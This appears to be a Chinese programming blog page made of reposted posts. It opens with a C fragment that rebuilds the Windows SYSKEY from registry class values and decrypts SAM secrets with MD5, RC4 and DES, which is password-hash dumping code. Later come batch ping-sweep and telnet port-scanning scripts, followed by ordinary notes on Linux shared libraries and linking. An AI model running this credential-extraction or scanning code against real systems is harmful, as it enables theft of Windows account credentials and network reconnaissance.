        ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
        RegCloseKey(hkResult1);
        if(ss==ERROR_SUCCESS)
        {
            printf("%s\n",classinfo);
            for(j=0;j<8;j++)
            {
                if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
                    classinfo[j]=classinfo[j]-0x30;
                else if(classinfo[j]>='a' && classinfo[j]<='f')
                    classinfo[j]=classinfo[j]-'a'+0xa;
                else if(classinfo[j]>='A' && classinfo[j]<='F')
                    classinfo[j]=classinfo[j]-'A'+0xa;
                else
                    return;
            }
            syskey1[i+0]=16*classinfo[0]+classinfo[1];
            syskey1[i+1]=16*classinfo[2]+classinfo[3];
            syskey1[i+2]=16*classinfo[4]+classinfo[5];
            syskey1[i+3]=16*classinfo[6]+classinfo[7];
            i=i+4;
        }
    }
    c1=0x10;
    ss=RegOpenKeyEx(hkResult,"Skew1",0,KEY_READ,&hkResult1);
    if(ss==ERROR_SUCCESS)
    {
        ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
        RegCloseKey(hkResult1);
        if(ss==ERROR_SUCCESS)
        {
            printf("%s\n",classinfo);
            for(j=0;j<8;j++)
            {
                if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
                    classinfo[j]=classinfo[j]-0x30;
                else if(classinfo[j]>='a' && classinfo[j]<='f')
                    classinfo[j]=classinfo[j]-'a'+0xa;
                else if(classinfo[j]>='A' && classinfo[j]<='F')
                    classinfo[j]=classinfo[j]-'A'+0xa;
                else
                    return;
            }
            syskey1[i+0]=16*classinfo[0]+classinfo[1];
            syskey1[i+1]=16*classinfo[2]+classinfo[3];
            syskey1[i+2]=16*classinfo[4]+classinfo[5];
            syskey1[i+3]=16*classinfo[6]+classinfo[7];
            i=i+4;
        }
    }
    c1=0x10;
    ss=RegOpenKeyEx(hkResult,"GBG",0,KEY_READ,&hkResult1);
    if(ss==ERROR_SUCCESS)
    {
        ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
        RegCloseKey(hkResult1);
        if(ss==ERROR_SUCCESS)
        {
            printf("%s\n",classinfo);
            for(j=0;j<8;j++)
            {
                if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
                    classinfo[j]=classinfo[j]-0x30;
                else if(classinfo[j]>='a' && classinfo[j]<='f')
                    classinfo[j]=classinfo[j]-'a'+0xa;
                else if(classinfo[j]>='A' && classinfo[j]<='F')
                    classinfo[j]=classinfo[j]-'A'+0xa;
                else
                    return;
            }
            syskey1[i+0]=16*classinfo[0]+classinfo[1];
            syskey1[i+1]=16*classinfo[2]+classinfo[3];
            syskey1[i+2]=16*classinfo[4]+classinfo[5];
            syskey1[i+3]=16*classinfo[6]+classinfo[7];
            i=i+4;
        }
    }
    c1=0x10;
    ss=RegOpenKeyEx(hkResult,"Data",0,KEY_READ,&hkResult1);
    if(ss==ERROR_SUCCESS)
    {
        ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
        RegCloseKey(hkResult1);
        if(ss==ERROR_SUCCESS)
        {
            printf("%s\n",classinfo);
            for(j=0;j<8;j++)
            {
                if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
                    classinfo[j]=classinfo[j]-0x30;
                else if(classinfo[j]>='a' && classinfo[j]<='f')
                    classinfo[j]=classinfo[j]-'a'+0xa;
                else if(classinfo[j]>='A' && classinfo[j]<='F')
                    classinfo[j]=classinfo[j]-'A'+0xa;
                else
                    return;
            }
            syskey1[i+0]=16*classinfo[0]+classinfo[1];
            syskey1[i+1]=16*classinfo[2]+classinfo[3];
            syskey1[i+2]=16*classinfo[4]+classinfo[5];
            syskey1[i+3]=16*classinfo[6]+classinfo[7];
            i=i+4;
        }
    }
    //这4个键的CLASS值组合起来做换位就是MS的SYSKEY了
    for(i=0;i<0x10;i++)
    {
        syskey[keyselect[i]]=syskey1[i];
    }
    for(i=0;i<0x10;i++)
        printf("0x%02x ",syskey[i]);
    printf("\n");
}

void getsampsecretsessionkey(unsigned char * syskey,unsigned char * fkey)
{
    unsigned char LM[0x58];
    unsigned char rc4keylist[0x102];
    char m1[]="!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%";
    char m2[]="0123456789012345678901234567890123456789";

    md5init(LM);
    memcpy(LM+0x18,fkey,0x10);
    memcpy(LM+0x28,m1,0x2f);
    memcpy(LM+0x57,syskey,1);
    *(DWORD *)LM=0x278;
    md5final(LM);
    memcpy(LM+0x18,syskey+1,0xf);
    memcpy(LM+0x27,m2,0x29);
    *(DWORD *)LM=0x5c0;
    memset(LM+0x50,0x80,1);
    memset(LM+0x51,0,7);
    md5final(LM);
    *(DWORD *)LM=0x600;
    memset(LM+0x18,0,0x38);
    *(DWORD *)(LM+0x50)=0x3c0;
    *(DWORD *)(LM+0x54)=0;
    md5final(LM);
    rc4_key(rc4keylist,LM+8,0x10);
    rc4_2bc6(rc4keylist,0x20,fkey+0x10);
    //这里生成在fkey中的前0X10字节就是sampsecretsessionkey
    md5init(LM);
    memcpy(LM+0x18,fkey+0x10,0x10);
    memcpy(LM+0x28,m2,0x29);
    memcpy(LM+0x51,fkey+0x10,0x7);
    *(DWORD *)LM=0x248;
    md5final(LM);
    memcpy(LM+0x18,fkey+0x17,0x9);
    memcpy(LM+0x21,m1,0x2f);
    memset(LM+0x50,0x80,1);
    memset(LM+0x51,0,7);
    *(DWORD *)LM=0x5c0;
    md5final(LM);
    memset(LM+0x18,0,0x40);
    *(DWORD *)LM=0x600;
    *(DWORD *)(LM+0x50)=0x3c0;
    *(DWORD *)(LM+0x54)=0;
    md5final(LM);
}

void rc4_2bc6(unsigned char * rc4keylist,int keylen,unsigned char * key)
{
    unsigned long c1;
    unsigned char d1,b1,a1;
    int i;
    c1=rc4keylist[0x100];
    d1=rc4keylist[0x101];
    for(i=0;i<keylen;i++)
    {
        c1=c1++;
        c1=c1%256;
        a1=rc4keylist[c1];
        d1=d1+a1;
        b1=rc4keylist[d1];
        rc4keylist[c1]=b1;
        rc4keylist[d1]=a1;
        a1=a1+b1;
        b1=key[i];
        a1=rc4keylist[a1];
        b1=b1^a1;
        key[i]=b1;
    }
}


void des(unsigned char * LM,char * magic,unsigned char * ecb,long no)
{
    DWORD d1,d2,d3,d4;
    DWORD a1,a2,a3;
    int i;
    d1= *(DWORD *)magic;
    d2= *(DWORD *)(magic+4);
    d1 = (d1<<4)|(d1>>0x1c);
    d3 = d1;
    d1 = (d1^d2)&0xf0f0f0f0;
    d3 = d3^d1;
    d2 = d2^d1;
    d2 =(d2<<0x14)|(d2>>0xc);
    d1 = d2;
    d2 = (d2^d3)&0xfff0000f;
    d1 = d1 ^ d2;
    d3 = d3^d2;
    d1 = (d1<<0xe)|(d1>>0x12);
    d2 = d1;
    d1 = (d1 ^ d3) & 0x33333333;
    d2 = d2 ^ d1;
    d3 = d3^d1;
    d3 = (d3<<0x16)|(d3>>0xa);
    d1 = d3;
    d3 = (d3 ^ d2)&0x3fc03fc;
    d1 = d1^d3;
    d2 = d2^d3;
    d1 = (d1<<9)|(d1>>0x17);
    d3 = d1;
    d1 = (d1^d2)&0xaaaaaaaa;
    d3 = d3^d1;
    d2 = d2^d1;
    d2 = (d2<<1)|(d2>>0x1f);
    if(no!=0)
    {
        for(i=0;i<8;i++)
        {
            a1=0;
            d1=*(DWORD *)(ecb+16*i);
            d4=*(DWORD *)(ecb+16*i+4);
            d1=(d1^d3)&0xfcfcfcfc;
            d4=(d4^d3)&0xcfcfcfcf;
            a1=d1&0xff;
            a2=(d1>>8)&0xff;
            d4=(d4>>4)|(d4<<0x1c);
            a3=DESSpBox1[a1/4];
            a1=d4&0xff;
            d2=d2^a3;
            a3=DESSpBox3[a2/4];
            d2=d2^a3;
            a2=(d4>>8)&0xff;
            d1=d1>>0x10;
            a3=DESSpBox2[a1/4];
            d2=d2^a3;
            a1=(d1>>8)&0xff;
            d4=d4>>0x10;
            a3=DESSpBox4[a2/4];
            d2=d2^a3;
            a2=(d4>>8)&0xff;
            d1=d1&0xff;
            d4=d4&0xff;
            a1=DESSpBox7[a1/4];
            d2=d2^a1;
            a1=DESSpBox8[a2/4];
            d2=d2^a1;
            a1=DESSpBox5[d1/4];
            d2=d2^a1;
            a1=DESSpBox6[d4/4];
            d2=d2^a1;

            a1=0;
            d1=*(DWORD *)(ecb+16*i+8);
            d4=*(DWORD *)(ecb+16*i+0xc);
            d1=(d1^d2)&0xfcfcfcfc;
            d4=(d4^d2)&0xcfcfcfcf;
            a1=d1&0xff;
            a2=(d1>>8)&0xff;
            d4=(d4>>4)|(d4<<0x1c);
            a3=DESSpBox1[a1/4];
            a1=d4&0xff;
            d3=d3^a3;
            a3=DESSpBox3[a2/4];
            d3=d3^a3;
            a2=(d4>>8)&0xff;
            d1=d1>>0x10;
            a3=DESSpBox2[a1/4];
            d3=d3^a3;
            a1=(d1>>8)&0xff;
            d4=d4>>0x10;
            a3=DESSpBox4[a2/4];
            d3=d3^a3;
            a2=(d4>>8)&0xff;
            d1=d1&0xff;
            d4=d4&0xff;
            a1=DESSpBox7[a1/4];
            d3=d3^a1;
            a1=DESSpBox8[a2/4];
            d3=d3^a1;
            a1=DESSpBox5[d1/4];
            d3=d3^a1;
            a1=DESSpBox6[d4/4];
            d3=d3^a1;
        }
        d3=(d3>>1)|(d3<<0x1f);
        d1=d2;
        d2=(d2^d3)&0XAAAAAAAA;
        d1=d1^d2;
        d3=d3^d2;
        d1=(d1<<0x17)|(d1>>9);
        d2=d1;
        d1=(d1^d3)&0x3fc03fc;
        d2=(d2^d1);
        d3=d3^d1;
        d2=(d2<<0xa)|(d2>>0x16);
        d1=d2;
        d2=(d2^d3)&0x33333333;
        d1=d1^d2;
        d3=d3^d2;
        d3=(d3<<0x12)|(d3>>0xe);
        d2=d3;
        d3=(d3^d1)&0xfff0000f;
        d2=d2^d3;
        d1=d1^d3;
        d2=(d2<<0xc)|(d2>>0x14);
        d3=d2;
        d2=(d2^d1)&0xf0f0f0f0;
        d3=d3^d2;
        d1=d1^d2;
        d1=(d1>>4)|(d1<<0x1c);
        *(DWORD *)LM=d1;
        *(DWORD *)(LM+4)=d3;
    }
    else
    {
        for(i=7;i>=0;i--)
        {
            a1=0;
            d1=*(DWORD *)(ecb+16*i+8);
            d4=*(DWORD *)(ecb+16*i+0xc);
            d1=(d1^d3)&0xfcfcfcfc;
            d4=(d4^d3)&0xcfcfcfcf;
            a1=d1&0xff;
            a2=(d1>>8)&0xff;
            d4=(d4>>4)|(d4<<0x1c);
            a3=DESSpBox1[a1/4];
            a1=d4&0xff;
            d2=d2^a3;
            a3=DESSpBox3[a2/4];
            d2=d2^a3;
            a2=(d4>>8)&0xff;
            d1=d1>>0x10;
            a3=DESSpBox2[a1/4];
            d2=d2^a3;
            a1=(d1>>8)&0xff;
            d4=d4>>0x10;
            a3=DESSpBox4[a2/4];
            d2=d2^a3;
            a2=(d4>>8)&0xff;
            d1=d1&0xff;
            d4=d4&0xff;
            a1=DESSpBox7[a1/4];
            d2=d2^a1;
            a1=DESSpBox8[a2/4];
            d2=d2^a1;
            a1=DESSpBox5[d1/4];
            d2=d2^a1;
            a1=DESSpBox6[d4/4];
            d2=d2^a1;

            a1=0;
            d1=*(DWORD *)(ecb+16*i+0);
            d4=*(DWORD *)(ecb+16*i+0x4);
            d1=(d1^d2)&0xfcfcfcfc;
            d4=(d4^d2)&0xcfcfcfcf;
            a1=d1&0xff;
            a2=(d1>>8)&0xff;
            d4=(d4>>4)|(d4<<0x1c);
            a3=DESSpBox1[a1/4];
            a1=d4&0xff;
            d3=d3^a3;
            a3=DESSpBox3[a2/4];
            d3=d3^a3;
            a2=(d4>>8)&0xff;
            d1=d1>>0x10;
            a3=DESSpBox2[a1/4];
            d3=d3^a3;
            a1=(d1>>8)&0xff;
            d4=d4>>0x10;
            a3=DESSpBox4[a2/4];
            d3=d3^a3;
            a2=(d4>>8)&0xff;
            d1=d1&0xff;
            d4=d4&0xff;
            a1=DESSpBox7[a1/4];
            d3=d3^a1;
            a1=DESSpBox8[a2/4];
            d3=d3^a1;
            a1=DESSpBox5[d1/4];
            d3=d3^a1;
            a1=DESSpBox6[d4/4];
            d3=d3^a1;
        }
        d3=(d3>>1)|(d3<<0x1f);
        d1=d2;
        d2=(d2^d3)&0XAAAAAAAA;
        d1=d1^d2;
        d3=d3^d2;
        d1=(d1<<0x17)|(d1>>9);
        d2=d1;
        d1=(d1^d3)&0x3fc03fc;
        d2=(d2^d1);
        d3=d3^d1;
        d2=(d2<<0xa)|(d2>>0x16);
        d1=d2;
        d2=(d2^d3)&0x33333333;
        d1=d1^d2;
        d3=d3^d2;
        d3=(d3<<0x12)|(d3>>0xe);
        d2=d3;
        d3=(d3^d1)&0xfff0000f;
        d2=d2^d3;
        d1=d1^d3;
        d2=(d2<<0xc)|(d2>>0x14);
        d3=d2;
        d2=(d2^d1)&0xf0f0f0f0;
        d3=d3^d2;
        d1=d1^d2;
        d1=(d1>>4)|(d1<<0x1c);
        *(DWORD *)LM=d1;
        *(DWORD *)(LM+4)=d3;
    }
}

posted @ 2013-02-11 10:46 tqsheng 阅读(373) | 评论 (0)编辑 收藏

建自已的blog

http://perldancer.org/
http://www.wpcourse.com/tag/wordpress%E5%8D%9A%E5%AE%A2
http://codex.wordpress.org/zh-cn:Main_Page
http://www.enet.com.cn/eschool/video/wordpresscp/
鬼仔的blog

posted @ 2013-02-02 17:36 tqsheng 阅读(291) | 评论 (0)编辑 收藏

free

http://getripz.pl/
http://www.downloader.my/downloader

posted @ 2013-01-31 11:07 tqsheng 阅读(231) | 评论 (0)编辑 收藏

ping网段并记录

:ping网段并记录
@echo off

if [%1]==[] (Goto :Start) else (Goto :Ping) 

:Start
        echo.ScanTime:%time%>ip.txt&&set "ip=61.149.20"
        for /L %%i in (1,1,254) do Start %~s0 %ip%.%%i        
        Goto :eof

:Ping
        ping %1 -n 1 -w 1 >nul&&echo %1 - OK!>>ip.txt
        exit

@echo off
echo                         -----------------------------
echo                              请选择你所扫描的类型
echo                         ----------------------------- 
echo . 
echo                  [A] :IP段扫描           [B] :精确IP及端口扫描
:x
set /p choice="请输入扫描类型:A or B :"
if /i %choice%==a goto ipduan else goto y
:y
if /i %choice%==b goto ip else goto x
:ipduan
echo 进入IP段扫描模式:
set /p ipa="输入扫描的ip段前三段(例如:192.168.1):"
set /p port="输入要扫描的端口:"
for /l %%i in (1,1,255) do (telnet %ipa%.%%i %port%)

:ip
echo 进入精确扫描模式:
set /p ipa="输入扫描的ip:(例如:192.168.0.1)"
set /p port1="输入要扫描的开始端口:"
set /p port2="输入要扫描的结束端口:"
for /l %%i in (%port1%,1,%port2%) do (telnet %ipa% %%i)
pause>nul 

谁能帮我找个工具或者做个 .bat代码实现以下需求 我要批量PING 服务器

2011-01-17 19:05 提问者: sean027 |浏览次数:419次
谁能帮我找个工具或者做个 .bat代码实现以下需求 我要批量PING 服务器,查看PING直。【最好是ping 10 次的平均值,和掉包率,不通最好也显示】 最好是那种我导入TXT文件后出来一个TXT文件结果的。。大侠们 帮帮忙哦~!!!!

我并非问的是同一网段的IP哦,不是扫描软件那种 192.168.0.1 - 192.168.0.255 这样的,而是我有很多根本就完全不同的IP地址批量PING 没规则 只能导入文件给IP表

问题补充:

代码不对啊 不起作用,你本机试一试~~
我来帮他解答
满意回答
2011-01-19 15:21
新建两个文本文件,一个保存为test.bat,一个保存为test.txt,两文件保存在一个文件夹下
test.txt的内容
192.168.0.29
127.1

test.bat的内容
@echo off
echo 正在ping网址,请稍候……
for /f %%i in (test.txt) do ping %%i /n 10 >>hello.txt
start "" "hello.txt"
ping 127.1 /n 3 >nul
del /f /q hello.txt
pause

posted @ 2013-01-16 10:37 tqsheng 阅读(326) | 评论 (0)编辑 收藏

Bat文件修改环境变量 创建桌面快捷方式

Bat文件修改环境变量

  1. @echo off
  2. wmic ENVIRONMENT create name="TOMCAT_HOME",username="<system>",VariableValue="D:\Tomcat5.5"
  3. pause
@echo off wmic ENVIRONMENT create name="TOMCAT_HOME",username="<system>",VariableValue="D:\Tomcat5.5" pause

创建桌面快捷方式

  1. @echo off
  2. ECHO [InternetShortcut]>> google.url
  3. ECHO URL=http://www.google.com>> google.url

posted @ 2013-01-14 14:03 tqsheng 阅读(961) | 评论 (0)编辑 收藏

比Kinect精确200倍的体感设备,Leap motion高精度追踪器 $69.99

比Kinect精确200倍的体感设备,Leap motion高精度追踪器 $69.99


当Holz还在 UNC(北卡罗来纳大学)攻读数学 Phd、研究流体力学时,发现用鼠标和键盘来创建、控制 3D 模型非常麻烦,因为会有许多不必要的复杂操作(点击、下拉菜单等)。于是他就希望创造一种「能让虚拟建模和现实建模一样方便」的技术。在 4 年的研究和无数的硬件更迭后,Leap 终于诞生了。

kinect面世后,leap motion的出现成为人机交互的一大热点。这个通过红外 LED 和摄像头以不同于其他运动控制技术的方式来完成对手指的追踪,其有效精确度达到了0.01mm。同时,这种全新的动作感应方式也使得Leap 造价低廉、体积小巧的原因,通过其提供的两个U盘大小的程序,可以形成一个8立方英尺的感应空间,用户在这个空间内可以任意活动,系统会准确追踪。更详细的内容,看看瘾科技的介绍吧!

leap motion官网目前可以预定,链接在此;售价$69.99,运费$5.99。收货地址可以选择中国。不知道到选择中国会不会发货。

posted @ 2013-01-06 12:28 tqsheng 阅读(475) | 评论 (0)编辑 收藏

linux下so动态库一些不为人知的秘密(中) 2

 继续上一篇《 linux下so动态库一些不为人知的秘密(中) 》介绍so搜索路径,还有一个类似于-path,叫LD_RUN_PATH环境变量, 它也是把路径编译进可执行文件内,不同的是它只设置RPATH。
[stevenrao] $ g++ -o demo -L /tmp/ -ltmp main.cpp
[stevenrao] $ readelf -d demo
Dynamic section at offset 0xb98 contains 25 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libtmp.so]
....
0x000000000000000f (RPATH) Library rpath: [/tmp/]

另外还可以通过配置/etc/ld.so.conf,在其中加入一行
/tmp/
这个配置项也是只对运行期有效,并且是全局用户都生效,需要root权限修改,修改完后需要使用命令ldconfig /etc/ld.so.conf 加载到ld.so.cache中,避免重启系统就可以立即生效。
除了前面介绍的那些搜索路径外,还有缺省搜索路径/usr/lib/ /lib/ 目录,可以通过-z nodefaultlib编译选项禁止搜索缺省路径。
[stevenrao] $ g++ -o demo -z nodefaultlib -L/tmp -ltmp main.cpp
[stevenrao] $ ./demo
./demo: error while loading shared libraries: libstdc++.so.6: cannot open shared object file

这么多搜索路径,他们有个先后顺序如下
1、RUMPATH 优先级最高
2、RPATH 其次
3、LD_LIBRARY_PATH
4、/etc/ld.so.cache
5、/usr/lib/ /lib/

查看一个程序搜索其各个动态库另一个简单的办法是使用 LD_DEBUG这个环境变量;
[stevenrao] $ export LD_DEBUG=libs
[stevenrao] $ ./demo
下一篇介绍动态库内符号问题

posted @ 2013-01-04 16:59 tqsheng 阅读(208) | 评论 (0)编辑 收藏

linux下so动态库一些不为人知的秘密2

 上一篇(linuxso动态库一些不为人知的秘密(上))介绍了linuxso一些依赖问题,本篇将介绍linuxso路径搜索问题。

我们知道linux链接so有两种途径:显示和隐式。所谓显示就是程序主动调用dlopen打开相关so;这里需要补充的是,如果使用显示链接,上篇文章讨论的那些问题都不存在。首先,dlopenso使用ldd是查看不到的。其次,使用dlopen打开的so并不是在进程启动时候加载映射的,而是当进程运行到调用dlopen代码地方才加载该so,也就是说,如果每个进程显示链接a.so;但是如果发布该程序时候忘记附带发布该a.so,程序仍然能够正常启动,甚至如果运行逻辑没有触发运行到调用dlopen函数代码地方。该程序还能正常运行,即使没有a.so.

既然显示加载这么多优点,那么为什么实际生产中很少码农使用它呢, 主要原因还是起使用不是很方便,需要开发人员多写不少代码。所以不被大多数码农使用,还有一个重要原因应该是能提前发现错误,在部署的时候就能发现缺少哪些so,而不是等到实际上限运行的时候才发现缺东少西。

下面举个工作中最常碰到的问题,来引申出本篇内容吧。

写一个最简单的so tmp.cpp

1. int test()

2. {

3. return 20;

4. }

编译=>链接=》运行, 下面main.cpp 内容请参见上一篇文章。

[stevenrao]$ g++ -fPIC -c tmp.cpp

[stevenrao]$ g++ -shared -o libtmp.so tmp.o

[stevenrao]$ mv libtmp.so /tmp/

[stevenrao]$ g++ -o demo -L/tmp -ltmp main.cpp

[stevenrao]$ ./demo

./demo: error while loading shared libraries: libtmp.so: cannot open shared object file: No such file or directory

[stevenrao]$ ldd demo

linux-vdso.so.1 => (0x00007fff7fdc1000)

libtmp.so => not found

这个错误是最常见的错误了。运行程序的时候找不到依赖的so。一般人使用方法是修改LD_LIBRARY_PATH这个环境变量

export LD_LIBRARY_PATH=/tmp

[stevenrao]$ ./demo

test

这样就OK, 不过这样export 只对当前shell有效,当另开一个shell时候,又要重新设置。可以把export LD_LIBRARY_PATH=/tmp 语句写到 ~/.bashrc中,这样就对当前用户有效了,写到/etc/bashrc中就对所有用户有效了。

前面链接时候使用 -L/tmp/ -ltmp 是一种设置相对路径方法,还有一种绝对路径链接方法

[stevenrao]$ g++ -o demo /tmp/libtmp.so main.cpp

[stevenrao]$ ./demo

test

[stevenrao]$ ldd demo

linux-vdso.so.1 => (0x00007fff083ff000)

/tmp/libtmp.so (0x00007f53ed30f000)

绝对路径虽然申请设置环境变量步骤,但是缺陷也是致命的,这个so必须放在绝对路径下,不能放到其他地方,这样给部署带来很大麻烦。所以应该禁止使用绝对路径链接so

搜索路径分两种,一种是链接时候的搜索路径,一种是运行时期的搜索路径。像前面提到的 -L/tmp/ 是属于链接时期的搜索路径,即给ld程序提供的编译链接时候寻找动态库路径;而 LD_LIBRARY_PATH则既属于链接期搜索路径,又属于运行时期的搜索路径。

这里需要介绍链-rpath链接选项,它是指定运行时候都使用的搜索路径。聪明的同学马上就想到,运行时搜索路径,那它记录在哪儿呢。也像. LD_LIBRARY_PATH那样,每部署一台机器就需要配一下吗。呵呵,不需要..,因为它已经被硬编码到可执行文件内部了。看看下面演示

  1. [stevenrao] $ g++ -o demo -L /tmp/ -ltmp main.cpp
  2. [stevenrao] $ ./demo
  3. ./demo: error while loading shared libraries: libtmp.so: cannot open shared object file: No such file or directory
  4. [stevenrao] $ g++ -o demo -Wl,-rpath /tmp/ -L/tmp/ -ltmp main.cpp
  5. [stevenrao] $ ./demo
  6. test
  7. [stevenrao] $ readelf -d demo
  8. Dynamic section at offset 0xc58 contains 26 entries:
  9. Tag Type Name/Value
  10. 0x0000000000000001 (NEEDED) Shared library: [libtmp.so]
  11. 0x0000000000000001 (NEEDED) Shared library: [libstdc++.so.6]
  12. 0x0000000000000001 (NEEDED) Shared library: [libm.so.6]
  13. 0x0000000000000001 (NEEDED) Shared library: [libgcc_s.so.1]
  14. 0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
  15. 0x000000000000000f (RPATH) Library rpath: [/tmp/]
  16. 0x000000000000001d (RUNPATH) Library runpath: [/tmp/]
看看是吧,编译到elf文件内部了,路径和程序深深的耦合到一起

posted @ 2013-01-04 16:58 tqsheng 阅读(470) | 评论 (0)编辑 收藏

linux下so动态库一些不为人知的秘密(上) (2012-08-14 22:48)



linux 下有动态库和静态库,动态库以.so为扩展名,静态库以.a为扩展名。二者都使用广泛。本文主要讲动态库方面知识。

基本上每一个linux 程序都至少会有一个动态库,查看某个程序使用了那些动态库,使用ldd命令查看
  1. # ldd /bin/ls
  2. linux-vdso.so.1 => (0x00007fff597ff000)
  3. libselinux.so.1 => /lib64/libselinux.so.1 (0x00000036c2e00000)
  4. librt.so.1 => /lib64/librt.so.1 (0x00000036c2200000)
  5. libcap.so.2 => /lib64/libcap.so.2 (0x00000036c4a00000)
  6. libacl.so.1 => /lib64/libacl.so.1 (0x00000036d0600000)
  7. libc.so.6 => /lib64/libc.so.6 (0x00000036c1200000)
  8. libdl.so.2 => /lib64/libdl.so.2 (0x00000036c1600000)
  9. /lib64/ld-linux-x86-64.so.2 (0x00000036c0e00000)
  10. libpthread.so.0 => /lib64/libpthread.so.0 (0x00000036c1a00000)
  11. libattr.so.1 => /lib64/libattr.so.1 (0x00000036cf600000)
这么多so,是的。使用ldd显示的so,并不是所有so都是需要使用的,下面举个例子
main.cpp
  1. #include <stdio.h>
  2. #include <iostream>
  3. #include <string>
  4. using namespace std;

  5. int main ()
  6. {
  7. cout << "test" << endl;
  8. return 0;
  9. }
使用缺省参数编译结果
  1. # g++ -o demo main.cpp
  2. # ldd demo
  3. linux-vdso.so.1 => (0x00007fffcd1ff000)
  4. libstdc++.so.6 => /usr/lib64/libstdc++.so.6 (0x00007f4d02f69000)
  5. libm.so.6 => /lib64/libm.so.6 (0x00000036c1e00000)
  6. libgcc_s.so.1 => /lib64/libgcc_s.so.1 (0x00000036c7e00000)
  7. libc.so.6 => /lib64/libc.so.6 (0x00000036c1200000)
  8. /lib64/ld-linux-x86-64.so.2 (0x00000036c0e00000)
如果我链接一些so,但是程序并不用到这些so,又是什么情况呢,下面我加入链接压缩库,数学库,线程库
  1. # g++ -o demo -lz -lm -lrt main.cpp
  2. # ldd demo
  3. linux-vdso.so.1 => (0x00007fff0f7fc000)
  4. libz.so.1 => /lib64/libz.so.1 (0x00000036c2600000)
  5. librt.so.1 => /lib64/librt.so.1 (0x00000036c2200000)
  6. libstdc++.so.6 => /usr/lib64/libstdc++.so.6 (0x00007ff6ab70d000)
  7. libm.so.6 => /lib64/libm.so.6 (0x00000036c1e00000)
  8. libgcc_s.so.1 => /lib64/libgcc_s.so.1 (0x00000036c7e00000)
  9. libc.so.6 => /lib64/libc.so.6 (0x00000036c1200000)
  10. libpthread.so.0 => /lib64/libpthread.so.0 (0x00000036c1a00000)
  11. /lib64/ld-linux-x86-64.so.2 (0x00000036c0e00000)
看看,虽然没有用到,但是一样有链接进来,那看看程序启动时候有没有去加载它们呢
  1. # strace ./demo
  2. execve("./demo", ["./demo"], [/* 30 vars */]) = 0
  3. ... = 0
  4. open("/lib64/libz.so.1", O_RDONLY) = 3
  5. ...
  6. close(3) = 0
  7. open("/lib64/librt.so.1", O_RDONLY) = 3
  8. ...
  9. close(3) = 0
  10. open("/usr/lib64/libstdc++.so.6", O_RDONLY) = 3
  11. ...
  12. close(3) = 0
  13. open("/lib64/libm.so.6", O_RDONLY) = 3
  14. ...
  15. close(3) = 0
  16. open("/lib64/libgcc_s.so.1", O_RDONLY) = 3
  17. ...
  18. close(3) = 0
  19. open("/lib64/libc.so.6", O_RDONLY) = 3
  20. ...
  21. close(3) = 0
  22. open("/lib64/libpthread.so.0", O_RDONLY) = 3
  23. ...
  24. close(3) = 0
  25. ...
看,有加载,所以必定会影响进程启动速度,所以我们最后不要把无用的so编译进来,这里会有什么影响呢?
大家知不知道linux从程序(program或对象)变成进程(process或进程),要经过哪些步骤呢,这里如果详细的说,估计要另开一篇文章。简单的说分三步:
1、fork进程,在内核创建进程相关内核项,加载进程可执行文件;
2、查找依赖的so,一一加载映射虚拟地址
3、初始化程序变量。
可以看到,第二步中dll依赖越多,进程启动越慢,并且发布程序的时候,这些链接但没有使用的so,同样要一起跟着发布,否则进程启动时候,会失败,找不到对应的so。所以我们不能像上面那样,把一些毫无意义的so链接进来,浪费资源。但是开发人员写makefile 一般有没有那么细心,图省事方便,那么有什么好的办法呢。继续看下去,下面会给你解决方法。
使用 ldd -u demo 查看不需要链接的so,看下面,一面了然,无用的so全部暴露出来了吧
  1. # ldd -u demo
  2. Unused direct dependencies:
  3. /lib64/libz.so.1
  4. /lib64/librt.so.1
  5. /lib64/libm.so.6
  6. /lib64/libgcc_s.so.1
使用 -Wl,--as-needed 编译选项
  1. # g++ -Wl,--as-needed -o demo -lz -lm -lrt main.cpp
  2. # ldd demo
  3. linux-vdso.so.1 => (0x00007fffebfff000)
  4. libstdc++.so.6 => /usr/lib64/libstdc++.so.6 (0x00007ff665c05000)
  5. libc.so.6 => /lib64/libc.so.6 (0x00000036c1200000)
  6. libm.so.6 => /lib64/libm.so.6 (0x00000036c1e00000)
  7. /lib64/ld-linux-x86-64.so.2 (0x00000036c0e00000)
  8. libgcc_s.so.1 => /lib64/libgcc_s.so.1 (0x00000036c7e00000)
  9. # ldd -u demo
  10. Unused direct dependencies:

呵呵,办法很简单省事吧,本文主要讲so依赖的一些问题,下一篇将介绍so的路径方面一些不为人知的小秘密

 

posted @ 2013-01-04 16:57 tqsheng 阅读(265) | 评论 (0)编辑 收藏

Linux下合并多个.a库函数 到动态库so

Linux下合并多个.a库函数 到动态库so

在LINUX下用静态库进行链接的时候经常会碰到如下情况:存在与静态库名一样的动态库。以MKL为例,在目录/MKLROOT/lib/em64t下,库libmkl_core.a和库libmkl_core.so同名。这样的话我们如果在链接时加入链接的库名-lmkl_core,编译器只同动态库libmkl_core.so链接,而屏避掉静态库文件libmkl_core.a。所以静态库文件里的对象文件无法被链接。解决这一问题有两个办法:

1. 直接将静态库的绝对路径加到编译过程中去:

gcc -I$(INCLUDE) -L$(LIB) main.c /MKLROOT/lib/em64t/libmkl_core.a -o a.out

这样的话编译器就会根据指定的文件进行编译链接,不过这种做法在静态库文件少的时候可用,如果文件一多,就会让整个指令冗长,可读性差。下面是一种比较可取的方法。

2. 在目录/MKLROOT/lib/em64t下用vi编辑器打开一个与所有库文件都不重名的库,例如libmkl.a。然后在该文件中加入下面的一行:

GROUP (libmkl_*.a libmkl_*.a libmkl_*.a ............... libmkl_*.a)

(GROUP一定要大写)

保存退出。之后在编译程序的时候只要将该文件加入链接项就OK了。命令如下:

gcc -I$(INCLUDE) -L$(LIB) main.c -lmkl -o a.out

